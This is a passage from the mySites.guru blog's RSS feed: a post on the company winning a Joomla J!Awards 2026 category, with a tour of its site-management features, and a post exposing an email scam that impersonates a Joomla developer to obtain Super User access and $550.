</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>Security</category><category>Agencies</category><category>Joomla</category><category>WordPress</category><enclosure url="https://mysites.guru/img/og/blog/is-it-safe-to-connect-client-sites-to-mysites-guru.png" length="0" type="image/png"/></item><item><title>mySites.guru wins Your Favourite Tool in Your Joomla Workflow at the J!Awards 2026</title><link>https://mysites.guru/blog/mysites-guru-wins-joomla-jawards-2026/</link><guid isPermaLink="true">https://mysites.guru/blog/mysites-guru-wins-joomla-jawards-2026/</guid><description>mySites.guru won Your Favourite Tool in Your Joomla Workflow at the J!Awards 2026, announced at the Joomla World Conference in Potsdam. Thank you for voting.</description><pubDate>Fri, 16 Oct 2026 20:45:00 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru has won Your Favourite Tool in Your Joomla Workflow in the &lt;a href=&quot;https://community.joomla.org/jawards/about&quot;&gt;J!Awards 2026&lt;/a&gt;, the first community choice awards the Joomla project has run. The winners were announced on 16 October 2026 at the &lt;a href=&quot;https://conference.joomla.org/&quot;&gt;Joomla World Conference&lt;/a&gt; in Potsdam, near Berlin, on the opening day of a conference that runs until the 18th.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/jawards-2026-winner-mysites-guru.Big1XWFS_zastq.webp&quot; srcset=&quot;https://mysites.guru/_astro/jawards-2026-winner-mysites-guru.Big1XWFS_wDR6u.webp 640w, https://mysites.guru/_astro/jawards-2026-winner-mysites-guru.Big1XWFS_2rY07A.webp 750w, https://mysites.guru/_astro/jawards-2026-winner-mysites-guru.Big1XWFS_Z1qHCQk.webp 828w, https://mysites.guru/_astro/jawards-2026-winner-mysites-guru.Big1XWFS_Z1sBy0S.webp 1080w, https://mysites.guru/_astro/jawards-2026-winner-mysites-guru.Big1XWFS_1UAjQX.webp 1280w, https://mysites.guru/_astro/jawards-2026-winner-mysites-guru.Big1XWFS_zastq.webp 1336w&quot; alt=&quot;The J!Awards trophy, a gold Joomla logo on a J!Awards podium between laurels under two spotlights, with the words 2026 WINNER! beneath it.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1336px) 1336px, 100vw&quot; width=&quot;1336&quot; height=&quot;516&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;The official results are now published&lt;/h2&gt;
&lt;p&gt;The Joomla project has published the official results and the winner badges. The &lt;a href=&quot;https://community.joomla.org/jawards/winners.html&quot;&gt;winners page&lt;/a&gt; lists our category as Favourite Tool for Your Joomla Workflow and gives the turnout: 731 people voted.&lt;/p&gt;
&lt;img src=&quot;https://mysites.guru/_astro/jawards-2026-winner-workflow-tool.B_vplYBO_ZzUcjS.webp&quot; srcset=&quot;https://mysites.guru/_astro/jawards-2026-winner-workflow-tool.B_vplYBO_ZzUcjS.webp 1x, https://mysites.guru/_astro/jawards-2026-winner-workflow-tool.B_vplYBO_2mjGly.webp 2x&quot; alt=&quot;The official J!Awards 2026 winner badge for mySites.guru: a green-ringed roundel with the gold Joomla logo, reading J!Awards WINNER, Workflow Tool with Joomla! 2026.&quot; loading=&quot;lazy&quot; width=&quot;240&quot; height=&quot;240&quot; /&gt;
&lt;p&gt;Congratulations to everyone else who won on the night. Akeeba Backup for Joomla! took Favourite Extension, Helix Ultimate Favourite Template and Hostinger Favourite Hosting. Brian Teeman was voted Influencer of the Year, joomshaper.com won Website Design, Louise Hawkins won for her magazine article, and Automated Updates was Favourite New Joomla 6 Feature. David Jardin also received the special J!Volunteer 2026 award, chosen by the volunteers at the conference.&lt;/p&gt;
&lt;h2&gt;Thank you to everyone who nominated and voted&lt;/h2&gt;
&lt;p&gt;This award was decided by a public vote, which is why it means so much to us. No panel picked mySites.guru. People who use it put our name forward during nominations, enough of them that we made the five-strong shortlist, and then enough people voted between 21 September and 11 October to put us first. Thank you. You took a minute out of your day to fill in a form for a tool, and we noticed.&lt;/p&gt;
&lt;h2&gt;What are the Joomla J!Awards?&lt;/h2&gt;
&lt;p&gt;The J!Awards are the Joomla project’s community choice awards, and 2026 is the first year they have run. There are eight categories in two groups, Creators and Contributors and Tools and Services, and Your Favourite Tool in Your Joomla Workflow sits in the second. Nominations ran from 17 August to 13 September, the five most-nominated entries in each category went to a public vote from 21 September to 11 October, and the most votes won. There is no jury at any stage. The Joomla &lt;a href=&quot;https://www.joomla.org/media-press/jawards-community-choice-awards.html&quot;&gt;press release that launched the awards&lt;/a&gt; names the J!OSCARs as its inspiration, which is a nice symmetry for us.&lt;/p&gt;
&lt;h2&gt;Multi-award-winning service: 5 awards&lt;/h2&gt;
&lt;p&gt;The J!OSCARs were the awards given at J and Beyond, the community Joomla conference, and the service that became mySites.guru won four of them. In 2013 at Noordwijkerhout the jury’s Joomla! Innovation of the Year went to monitoring services, mySites.guru among them. Then came Joomla Services by attendee vote three times: Königstein in 2014, Prague in 2015 and Kraków in 2017. The &lt;a href=&quot;https://mysites.guru/awards/&quot;&gt;full awards record&lt;/a&gt; is on its own page.&lt;/p&gt;
&lt;a href=&quot;https://mysites.guru/awards/&quot;&gt;&lt;p&gt;Five Joomla awards since 2013&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;img src=&quot;https://mysites.guru/_astro/jawards-2026-winner-workflow-tool.B_vplYBO_ZSKVAN.webp&quot; srcset=&quot;https://mysites.guru/_astro/jawards-2026-winner-workflow-tool.B_vplYBO_ZSKVAN.webp 1x, https://mysites.guru/_astro/jawards-2026-winner-workflow-tool.B_vplYBO_Z2e6hRk.webp 2x&quot; alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;64&quot; height=&quot;64&quot; /&gt;&lt;span&gt;2026&lt;/span&gt;&lt;span&gt;J!Awards&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;img src=&quot;https://mysites.guru/_astro/jab17-roundel.BOtWVwOX_1miRaE.webp&quot; srcset=&quot;https://mysites.guru/_astro/jab17-roundel.BOtWVwOX_1miRaE.webp 1x, https://mysites.guru/_astro/jab17-roundel.BOtWVwOX_LwYCt.webp 2x&quot; alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;64&quot; height=&quot;64&quot; /&gt;&lt;span&gt;2017&lt;/span&gt;&lt;span&gt;J!OSCAR&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;img src=&quot;https://mysites.guru/_astro/jab15-roundel.BvlrwYL0_Z17Fdgu.webp&quot; srcset=&quot;https://mysites.guru/_astro/jab15-roundel.BvlrwYL0_Z17Fdgu.webp 1x, https://mysites.guru/_astro/jab15-roundel.BvlrwYL0_Zb0AS5.webp 2x&quot; alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;64&quot; height=&quot;64&quot; /&gt;&lt;span&gt;2015&lt;/span&gt;&lt;span&gt;J!OSCAR&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;img src=&quot;https://mysites.guru/_astro/jab14-roundel.Bb9o5r6o_20KrKg.webp&quot; srcset=&quot;https://mysites.guru/_astro/jab14-roundel.Bb9o5r6o_20KrKg.webp 1x, https://mysites.guru/_astro/jab14-roundel.Bb9o5r6o_tKurx.webp 2x&quot; alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;64&quot; height=&quot;64&quot; /&gt;&lt;span&gt;2014&lt;/span&gt;&lt;span&gt;J!OSCAR&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;img src=&quot;https://mysites.guru/_astro/jab13-roundel.BX9nyABk_Z1wTk0y.webp&quot; srcset=&quot;https://mysites.guru/_astro/jab13-roundel.BX9nyABk_Z1wTk0y.webp 1x, https://mysites.guru/_astro/jab13-roundel.BX9nyABk_2fpoEG.webp 2x&quot; alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;64&quot; height=&quot;64&quot; /&gt;&lt;span&gt;2013&lt;/span&gt;&lt;span&gt;J!OSCAR&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;See the full awards record&lt;/p&gt;&lt;/a&gt;
&lt;p&gt;Those four were decided at the conference, by a jury or by the people in the room. The J!Awards are the first Joomla awards where the whole community votes online, from wherever they are, so this fifth one is a different kind of result. It comes from Joomla users wherever they are, rather than the people who could make it to a conference, and we are glad to have it.&lt;/p&gt;
&lt;h2&gt;What mySites.guru does in a Joomla workflow&lt;/h2&gt;
&lt;p&gt;Picture someone who looks after forty Joomla sites for clients and opens mySites.guru with their first coffee.&lt;/p&gt;
&lt;h3&gt;The sites list comes first&lt;/h3&gt;
&lt;p&gt;Each connected site is one row: its Joomla version, its PHP version, the updates waiting and how many vulnerable extensions it is running. The sidebar narrows the list to hacked sites, end-of-life Joomla and sites with vulnerable extensions. A snapshot runs 140 or so best-practice checks on each site twice a day, so the list is current before anyone has logged in anywhere.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/features-dashboard-hero.DDLhg2NA_Z1mx70T.webp&quot; alt=&quot;The mySites.guru dashboard listing connected Joomla and WordPress sites, each row showing its PHP version, CMS version, available patches and vulnerability count, with a sidebar flagging hacked sites, end-of-life Joomla and vulnerable plugins.&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;1105&quot; /&gt;&lt;/div&gt;&lt;/figure&gt;
&lt;h3&gt;Updates, without forty administrator logins&lt;/h3&gt;
&lt;p&gt;Pending Joomla core and extension updates sit on &lt;a href=&quot;https://mysites.guru/bulk-update-joomla/&quot;&gt;one screen&lt;/a&gt;. Group them by extension to patch one extension on every site that has it, or by site to bring one site fully up to date. The update queue applies one update at a time on each server, so a host with twenty of your sites is not hit by all twenty together. Extensions you trust can update themselves while the rest wait for you, and core updates stay within a major version, because a move from 4 to 5 is a migration and deserves to be treated as one.&lt;/p&gt;
&lt;h3&gt;How a security problem reaches you&lt;/h3&gt;
&lt;p&gt;At each snapshot the extensions on a site are checked against &lt;a href=&quot;https://mysites.guru/joomla-vulnerability-scanner/&quot;&gt;hand-written vulnerability rules&lt;/a&gt;, and Joomla core CVEs are imported every hour from the Joomla Security Centre. The first time a site matches, the alert email goes out within seconds. In the dashboard the site is marked in the sites list, the “has vulnerable plugins” filter narrows the whole list to the sites that need patching, and the details sit on that site’s Important tab. The fix follows the same path: filter to the affected sites, press Backup All, then update that one Joomla extension across all of them. If a site was exposed for a while before you got to it, the &lt;a href=&quot;https://mysites.guru/joomla-malware-scanner/&quot;&gt;Joomla malware scanner&lt;/a&gt; reads all the files on the server against roughly 1,500 patterns, a hash list of confirmed malicious files and clean core checksums for that exact Joomla version. It keeps suspect content in a separate list from confirmed hacked files, so you know which is a lead and which is a fact.&lt;/p&gt;
&lt;h3&gt;Uptime and backups, running whether you look or not&lt;/h3&gt;
&lt;p&gt;Every site gets an &lt;a href=&quot;https://mysites.guru/uptime-monitoring/&quot;&gt;uptime monitor&lt;/a&gt; the moment it is connected. It checks every 5 minutes, makes three attempts before calling a site down, and alerts by email, the Slack app, a webhook or desktop push, with a warning before an SSL certificate expires. &lt;a href=&quot;https://mysites.guru/website-backups/&quot;&gt;Backups&lt;/a&gt; work by driving the Akeeba Backup Professional already on each site: as many cron-style schedules per site as you need, a stalled backup resumed automatically, a daily alert naming any site without a recent backup, and the archives stored wherever you configured Akeeba, not on mySites.guru.&lt;/p&gt;
&lt;h3&gt;The jobs that used to mean one site at a time&lt;/h3&gt;
&lt;p&gt;One click opens any Joomla administrator from the dashboard with no password prompt. An extension can be installed on dozens of sites in one go. Multi-factor authentication can be forced on the Super Users of all your sites from the audit result. Team members get access to the sites you choose without seeing the Super User credentials, and white-label reports show each client what was done on their site and when. The &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;Joomla multi-site dashboard&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;full feature list&lt;/a&gt; have the rest.&lt;/p&gt;
&lt;h2&gt;See how it fits your own Joomla workflow&lt;/h2&gt;
&lt;p&gt;The votes came from people who use mySites.guru day in, day out. To see why they picked it, put one of your own sites through it. A &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free site audit&lt;/a&gt; runs all 280+ checks on one WordPress or Joomla site, with no card needed: install the connector, which takes about two minutes, and the full results are in the dashboard a few minutes later. If you are about to take over a site from someone else, audit it first and know what you are inheriting.&lt;/p&gt;
&lt;p&gt;That audit opens in the same dashboard described above, and the rest of the workflow comes with the subscription: &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;£19.99 a month for unlimited sites&lt;/a&gt;, all features included, unlimited team members at no extra cost, and cancelling is one click in your account. The price has not changed since 2012. If you subscribe with the code FIRSTMONTHFREE at checkout, the first 30 days cost nothing; checkout asks for a card, and cancelling before day 30 means you are not charged. The vulnerability matching, the bulk updates and the one-click fixes are all part of it.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://community.joomla.org/jawards/winners.html&quot;&gt;J!Awards 2026 winners&lt;/a&gt; - the Joomla project&apos;s official results page, listing every category&apos;s winner alongside the winner badges.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://community.joomla.org/jawards/about&quot;&gt;J!Awards 2026&lt;/a&gt; - the Joomla project&apos;s own page, with the timeline, the categories and the rules.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/media-press/jawards-community-choice-awards.html&quot;&gt;J!Awards: Community Choice Awards&lt;/a&gt; - the Joomla press release that launched the awards.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://conference.joomla.org/&quot;&gt;Joomla World Conference 2026&lt;/a&gt; - where the winners were announced, 16 to 18 October in Potsdam.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/awards/&quot;&gt;mySites.guru awards&lt;/a&gt; - the full record, from the 2013 J!OSCAR to the J!Awards 2026.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-jawards-2026-vote-mysites-guru/&quot;&gt;mySites.guru is shortlisted in Joomla&apos;s first J!Awards&lt;/a&gt; - the shortlist post, with everything we built for Joomla sites this year.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>jawards</category><category>joomla community</category><category>awards</category><category>site management</category><enclosure url="https://mysites.guru/img/og/blog/mysites-guru-wins-joomla-jawards-2026.png" length="0" type="image/png"/></item><item><title>Be Aware Of Joomla Developer Impersonation Scams</title><link>https://mysites.guru/blog/be-aware-of-joomla-developer-impersonation-scams/</link><guid isPermaLink="true">https://mysites.guru/blog/be-aware-of-joomla-developer-impersonation-scams/</guid><description>Someone is emailing Joomla site owners as Fotis Evangelou, asking for a Super User account and $550. I played along for an evening. Here is the thread.</description><pubDate>Thu, 15 Oct 2026 19:09:27 GMT</pubDate><content:encoded>&lt;p&gt;On the morning of Thursday 15 October 2026 an email went out to four addresses at one company, signed “Fotis Evangelou, Founder · K2”. It said that “Joomla support” had phoned him about the company’s website, that the site needed Joomla core and extension updates before 25 October, and that as the person “currently managing your website” he would like to get on with it. It had a photo that is not of him, a link to the real K2 website and a link to his real LinkedIn profile.&lt;/p&gt;
&lt;p&gt;Several people forwarded it to me that morning, worried. It is a scam. It uses a well-known Joomla developer’s name to get two things out of you: a Super User account on your Joomla site, and $550. I spent the evening replying to it so you can see the whole script, every email and every header, before one of these reaches your own inbox.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Fotis Evangelou did not send these emails&lt;/p&gt;&lt;div&gt;&lt;p&gt;This round of emails used Fotis Evangelou’s name and public links, with a signature photo of somebody else entirely. He is the person being impersonated, and he had nothing to do with any of it. JoomlaWorks has since published an official notice, &lt;a href=&quot;https://www.joomlaworks.net/blog/item/320-security-notice-emails-impersonating-the-k2-developer&quot;&gt;Security notice: emails impersonating the K2 developer&lt;/a&gt; (also on &lt;a href=&quot;https://getk2.org/blog/security-notice-emails-impersonating-the-k2-developer&quot;&gt;getk2.org&lt;/a&gt;), confirming that the Gmail address is not theirs, and that real mail from Fotis or JoomlaWorks only comes from an @joomlaworks.net or @getk2.org address, never Gmail or any other free provider. He is also not the only one: the same kind of email is going out under the names of other well-known people in the Joomla ecosystem. If an email arrives from a famous Joomla name you were not expecting, treat it the way you would treat this one.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Why This Joomla Email Is a Scam&lt;/h2&gt;
&lt;p&gt;The email fails before you get past the first sentence. Joomla is a volunteer-run open source project. There is no “Joomla support” desk, nobody at Joomla phones developers about other people’s websites, and no one gets a phone call from “Joomla Support”. Everything after that opening line is built on a claim that cannot be true.&lt;/p&gt;
&lt;p&gt;The rest of the tells stack up quickly:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;“As I’m currently managing your website” is false familiarity. The sender does not manage the site; the line is there so that you assume a relationship already exists.&lt;/li&gt;
&lt;li&gt;“Before October 25” is invented urgency. Nothing in Joomla happens on 25 October.&lt;/li&gt;
&lt;li&gt;The sender address is a Gmail account, for someone who owns a domain (getk2.org) and would have no reason to use one.&lt;/li&gt;
&lt;li&gt;The signature borrows real public details, the K2 website and the LinkedIn profile, puts them next to a photo of somebody else (a Greek academic’s LinkedIn profile picture, see below), and attaches them to a postal address in the Seychelles. I am not going to say whether that address is real or made up. Real public links are being used to make a fake sender look convincing, and that is the point of them.&lt;/li&gt;
&lt;li&gt;American spelling throughout (“optimization”, “prioritized”) and pricing in US dollars, from a sender whose signature points at Greece and the Seychelles.&lt;/li&gt;
&lt;li&gt;The first email’s HTML includes a hidden, zero-height tracking image from an online email-signature generator (a signature.gif with a user id and an email id in the query string), the kind used to report back when an email is opened. I made a point of not loading it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And the end goal, once you play along, is a Super User account on your Joomla site. That is full control: install extensions, run code, read the database, create more administrators. The $550 is almost a side order.&lt;/p&gt;
&lt;h2&gt;Whose Face Is in the Signature?&lt;/h2&gt;
&lt;p&gt;The circular photo in the first email is the profile photo from the public LinkedIn profile of &lt;a href=&quot;https://www.linkedin.com/in/andreas-komninos-a358363/&quot;&gt;Andreas Komninos&lt;/a&gt;, an Assistant Professor in Patras, Western Greece, whose profile lists the University of Patras and the University of Strathclyde. Same face, same teal-framed glasses, same office behind him. He has nothing to do with any of this. His face was lifted from his own public profile, which makes him the second person this scam is impersonating.&lt;/p&gt;
&lt;p&gt;My reading is that the choice was no accident. Anyone who got as far as checking would see a real Greek man next to a Greek name and move on. The check that beats it takes a minute: a reverse image search on the signature photo leads to a university lecturer’s profile, not to K2. Worth doing on any email that asks you for money or an account.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/fotis-scam-photo-source.Cyknt68j_Z2gpceO.webp&quot; alt=&quot;The LinkedIn profile header of Andreas Komninos, Assistant Professor in Patras, Western Greece, showing the same profile photo that appears in the scam email signature&quot; loading=&quot;lazy&quot; width=&quot;1407&quot; height=&quot;840&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;The LinkedIn profile the signature photo was taken from. Same face, same teal-framed glasses, same office behind him.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h2&gt;The Full Thread, Message by Message&lt;/h2&gt;
&lt;p&gt;Here is every email in order, with what each one gives away. My replies were short and gullible on purpose. All times are BST.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/fotis-scam-first-email.CJH1DBCh_Zdw9uM.webp&quot; alt=&quot;The first scam email, sent as Fotis Evangelou to four addresses at one company, claiming a call from Joomla support and a 25 October deadline&quot; loading=&quot;lazy&quot; width=&quot;1522&quot; height=&quot;1871&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;07:27. The opening pitch, with the borrowed signature. Recipient addresses redacted.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Four role addresses at one company on a single visible To: line, info@ plus three branch offices. Nobody who actually managed a site would email every office at once about it. The subject, “Important: Joomla Website Updates and Technical SEO Optimization Before October 25”, does the urgency and the upsell in one breath.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/fotis-scam-follow-up.DsuOUMjC_Z2hJb6e.webp&quot; alt=&quot;The follow-up scam email sent to the same four addresses that afternoon, repeating that the sender is currently managing the website&quot; loading=&quot;lazy&quot; width=&quot;1522&quot; height=&quot;1698&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;17:15. The follow-up, nearly ten hours later, to the same four addresses.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;“I’m following up on my previous email … As I’m currently managing your website … Please let me know your thoughts when you have a moment.” Same four recipients, same claim. By this point I had already had an interesting morning, so I decided to give the sender some thoughts.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/fotis-scam-phil-bites.B2T7C-bD_Z27u4RM.webp&quot; alt=&quot;Phil&apos;s first reply to the scammer: Awesome - lets do this ! What do you need?&quot; loading=&quot;lazy&quot; width=&quot;1522&quot; height=&quot;537&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;17:23. My reply, to the Gmail address.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;“Awesome - lets do this ! What do you need?” I did not expect what came back 39 seconds later.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/fotis-scam-autoreply.BDQHrrV-_2gtqhL.webp&quot; alt=&quot;An automatic reply from the scammer&apos;s Gmail account that re-sends the entire original pitch, with the subject line doubled&quot; loading=&quot;lazy&quot; width=&quot;1522&quot; height=&quot;1907&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;17:23 and 39 seconds. The automatic reply.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;This is Gmail’s own vacation responder, loaded with the sales pitch. The headers say so: “X-Autoreply: yes”, “Auto-Submitted: auto-replied”, “Precedence: bulk”, and the subject is the pitch subject doubled, “Important: … Re: Important: …”. Anyone who emails that address, for any reason, gets the pitch back automatically. It is a nice touch of industrialisation.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/fotis-scam-phil-again.DJHS3Kpz_3iHAf.webp&quot; alt=&quot;Phil&apos;s second message to the scammer, repeating: Awesome - lets do this!&quot; loading=&quot;lazy&quot; width=&quot;1522&quot; height=&quot;537&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;17:28. I try again, in case the robot was the only one listening.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;“Awesome - lets do this!” A human did turn up, 51 minutes later.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/fotis-scam-packages.5z-R_BLt_Z1s5fd8.webp&quot; alt=&quot;The scammer&apos;s reply offering three priced maintenance plans at $350, $450 and $550, to be completed before 25 October&quot; loading=&quot;lazy&quot; width=&quot;1522&quot; height=&quot;4329&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;18:19. Three packages, and a discussion that never happened.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;“Thank you for confirming that you’d like to move forward. Following our discussion, I’ve outlined three priority maintenance plans.” There was no discussion. The plans are the Essential Maintenance Plan ($350), the Priority Optimization Plan ($450) and the Premium Maintenance &amp;amp; SEO Plan ($550), all to be completed before 25 October, all priced in dollars. The deadline from the first email is still doing its job.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/fotis-scam-phil-premium.C33fqVVo_Z1qPuQu.webp&quot; alt=&quot;Phil choosing the $550 Premium Maintenance and SEO Plan and asking for a payment link&quot; loading=&quot;lazy&quot; width=&quot;1522&quot; height=&quot;537&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;18:21. Naturally I went for the expensive one.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;I told them I wanted the Premium Maintenance &amp;amp; SEO Plan at $550, asked for the payment link, and said I would “pay right away”. Two minutes after the packages arrived. No real client has ever behaved like this, and the sender did not blink.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/fotis-scam-admin-request.DR6_5OaV_Z1Ey2b1.webp&quot; alt=&quot;The scammer asking Phil to restore administrator access by creating a new Joomla Super User account named Fotis Evangelou with the Gmail address&quot; loading=&quot;lazy&quot; width=&quot;1522&quot; height=&quot;1845&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;18:37. The real ask.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;This is the message the whole thread exists for. After confirming the $550 plan: “could you please help me restore my administrator access to the Joomla website? Unfortunately, I no longer have the previous login details saved on my end”. Then step-by-step instructions: log in at /administrator, Users, Manage, New, Name: Fotis Evangelou, Email: &lt;a href=&quot;mailto:evangelou.getk2@gmail.com&quot;&gt;evangelou.getk2@gmail.com&lt;/a&gt;, “Under Assigned User Groups, select Super Users only if full administrative access is necessary”, and “securely share the login … Please avoid sending passwords in plain-text email.” A security tip from the person stealing your site is a lovely detail. Note also that from this message on, the borrowed photo and the fancy signature are gone. Short plain messages only. The costume comes off once the mark has bitten.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/fotis-scam-phil-pay-now.CsOFg0N__Z2rKhj5.webp&quot; alt=&quot;Phil asking for the payment link as soon as possible because he is leaving the office for a long weekend&quot; loading=&quot;lazy&quot; width=&quot;1522&quot; height=&quot;537&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;18:39. I apply some urgency of my own.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;“Awesome - thanks - send me the payment link asap! Im about the leave the office for a long weekend and want to get the money to you!” I wanted to see which of the two prizes they chased when the clock was ticking.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/fotis-scam-reminder.CbJXOUSZ_2kpLXR.webp&quot; alt=&quot;The scammer promising the $550 payment link and reminding Phil to create the administrator account once he is home&quot; loading=&quot;lazy&quot; width=&quot;1522&quot; height=&quot;858&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;18:48. The link is coming, but have you done the account yet?&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;“I’ll send you the $550 payment link as soon as possible. Also, just a quick reminder about the Joomla administrator access … could you please let me know if you’ll be able to create a new administrator account for me once you’re home? There’s no problem if you need to handle that after the long weekend.” The money can wait until after the weekend. The admin account is the reminder. That tells you which one they value.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/fotis-scam-hold.CTvsV0Vc_ZQMO55.webp&quot; alt=&quot;A four-word message from the scammer reading Hold for the payment link&quot; loading=&quot;lazy&quot; width=&quot;1522&quot; height=&quot;390&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;19:13. Four words.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;“Hold for the payment link”. Twelve minutes later, something did arrive, and it was not from Fotis.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/fotis-scam-invoice-email.VBFXO6wl_1w4WFm.webp&quot; alt=&quot;An invoice notification email from GoFlex announcing Invoice #206181448604 from David with $550.00 due and a Pay Now button&quot; loading=&quot;lazy&quot; width=&quot;1518&quot; height=&quot;3279&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;19:25. The invoice email, from an invoicing platform, for a new invoice from David. Pay link redacted.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;The invoice came from GoFlex, an invoicing platform, sent through Amazon SES, with the subject “Invoice #206181448604 from David” and the line “You have received a new invoice from David through our secure invoicing platform, GoFlex”. Amount due $550.00, with a Pay Now button to a checkout page that I have redacted. GoFlex is simply the tool the scammer chose to raise the invoice; I have no reason to think the platform itself is involved.&lt;/p&gt;
&lt;p&gt;GoFlex is a West African invoicing and payments platform for freelancers, which is its own small tell. Of all the invoicing tools on the internet, the scammer reached for one rooted in West Africa, and that fits everything else the evidence keeps pointing at: a Lagos address on the merchant account, and a Lagos connection when the link was opened, which you will see further down.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/fotis-scam-invoice.B2_KIXlE_1m1J6m.webp&quot; alt=&quot;The GoFlex invoice page showing Billed from David Lazarus, billed to Phil Taylor, for $550 of Premium Website Maintenance and SEO Optimization&quot; loading=&quot;lazy&quot; width=&quot;1200&quot; height=&quot;1650&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;The invoice itself. Billed from David Lazarus.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;“Billed from: David Lazarus”. The registration number and VAT ID printed under it are the same fixed numbers GoFlex prints on every invoice it issues, whoever sends it, so they identify nobody; the name is the only sender detail on the page. Billed to Phil Taylor, for “Premium Website Maintenance and SEO Optimization”, $550.00, VAT $0.00, invoice date and due date both 15 October 2026, footer “Via authorized reseller: goflex”. The name on the invoice is not Fotis Evangelou. That is the clearest proof in the whole thread that this is not him, and it is where I stopped. I never created an account and never paid. I have no idea who David Lazarus is, and nor should you assume anything: it may well be a stolen or invented name.&lt;/p&gt;
&lt;p&gt;The invoice link opens a GoFlex checkout, and the checkout has a step that gives the whole thing away.&lt;/p&gt;
